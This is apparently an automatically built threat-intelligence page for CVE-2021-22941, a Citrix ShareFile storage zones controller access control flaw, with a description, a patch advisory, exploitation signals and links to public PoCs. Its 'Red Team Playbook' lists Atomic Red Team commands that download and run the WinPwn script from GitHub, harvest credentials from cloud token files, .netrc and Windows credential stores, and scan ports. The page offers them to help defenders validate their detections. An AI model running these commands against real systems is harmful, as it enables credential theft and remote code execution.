CVE-2021-22941
Overview
The vulnerability is an improper access control flaw in the Citrix ShareFile storage zones controller component. It arises from insufficient enforcement of authentication checks on critical API endpoints, allowing unauthenticated requests to interact with protected functionality. This flaw affects versions prior to 5.11.20, specifically within the storage zones controller's access control mechanisms.
Vulnerability Description
Improper Access Control in Citrix ShareFile storage zones controller before 5.11.20 may allow an unauthenticated attacker to remotely compromise the storage zones controller.
Impact
An attacker can remotely compromise the storage zones controller without any authentication or user interaction, gaining unauthorized administrative access. This access allows the attacker to manipulate storage configurations, potentially leading to data exposure, data manipulation, or disruption of storage services. The compromise of the storage zones controller can facilitate lateral movement within the enterprise environment and undermine overall data security.
Solution
Citrix has released an update addressing this issue in ShareFile storage zones controller version 5.11.20. Administrators should upgrade to version 5.11.20 or later as detailed in Citrix advisory CTX328123 (https://support.citrix.com/article/CTX328123). No alternative workarounds are documented; applying the vendor-provided patch is required to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Citrix ShareFile storage zones controller relates to improper access control, which can be exploited by an unauthenticated attacker. This flaw allows unauthorized users to gain access to sensitive data and functionalities within the storage zones controller, potentially leading to severe security breaches. The root cause of this vulnerability lies in the inadequate validation of user permissions, which fails to restrict access to critical components of the system. As a result, an attacker can manipulate requests to bypass authentication mechanisms, thereby gaining unauthorized control over the storage zones and the data they contain.
Attack vectors for this vulnerability are particularly concerning due to the remote nature of the exploitation. An attacker could leverage various methods, such as crafting malicious requests or utilizing automated scripts to probe the storage zones controller for weaknesses. Once access is obtained, the attacker can perform a range of malicious activities, including data exfiltration, modification, or even deletion of critical files. Additionally, the attacker could pivot to other systems within the network, escalating their access and potentially compromising other interconnected services. The ease of exploitation, combined with the lack of authentication requirements, makes this vulnerability especially dangerous.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Citrix ShareFile for secure data storage and collaboration. A successful exploitation could lead to the exposure of sensitive corporate data, including intellectual property, personal identifiable information (PII), and confidential client information. The business risk associated with such exposure includes potential regulatory fines, loss of customer trust, and reputational damage. Furthermore, the financial implications of a data breach can be substantial, encompassing costs related to incident response, legal fees, and potential settlements. Organizations may also face long-term consequences, such as increased scrutiny from regulators and a diminished market position.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted security strategy. Regular security assessments and penetration testing can help identify weaknesses in the configuration and access controls of the storage zones controller. Additionally, organizations should ensure that they are running the latest version of the software, as updates often include critical security patches that address known vulnerabilities. Employing network segmentation and strict access controls can further limit the potential impact of an exploitation attempt. Monitoring logs for unusual access patterns and employing intrusion detection systems can also aid in the early identification of unauthorized access attempts.
In conclusion, the improper access control vulnerability in Citrix ShareFile storage zones controller presents a serious threat to organizations that utilize this platform for data management. The potential for remote exploitation by unauthenticated attackers underscores the need for robust security measures and vigilant monitoring. By adopting proactive detection and mitigation strategies, organizations can significantly reduce their risk exposure and protect their sensitive data from unauthorized access and potential compromise.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2021-22941, with new exploitation attempts emerging after a period of relative quiet. Although the EPSS score has decreased, indicating a somewhat reduced likelihood of widespread exploitation, our telemetry shows a sharp increase in detection events, signaling renewed adversary interest. This divergence suggests that while the overall risk of mass exploitation may be moderating, targeted attacks—potentially by ransomware-affiliated threat actors—are intensifying. The presence of publicly available proof-of-concept resources continues to lower the barrier for exploitation, maintaining this vulnerability as a critical concern for defenders. Consequently, the threat landscape remains dynamic, with an elevated risk of focused compromise attempts against vulnerable Citrix ShareFile storage zones controllers.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Citrix | Sharefile Storagezones Controller | All |
cpe:2.3:a:citrix:sharefile_storagezones_controller:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
hoav18/CVE-2021-22941
|
hoav18 | 13 | 4 | 2021-10-12 | View |
|
pratikjojode/citrix-cve-2021-22941-lab
Vulnerable environment for testing CVE-2021-22941 Nuclei template
|
pratikjojode | 0 | 0 | 2025-12-02 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-22941 |
| support.citrix.com |
GitHub CVE
x_refsource_MISC
|
https://support.citrix.com/article/CTX328123 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22941 |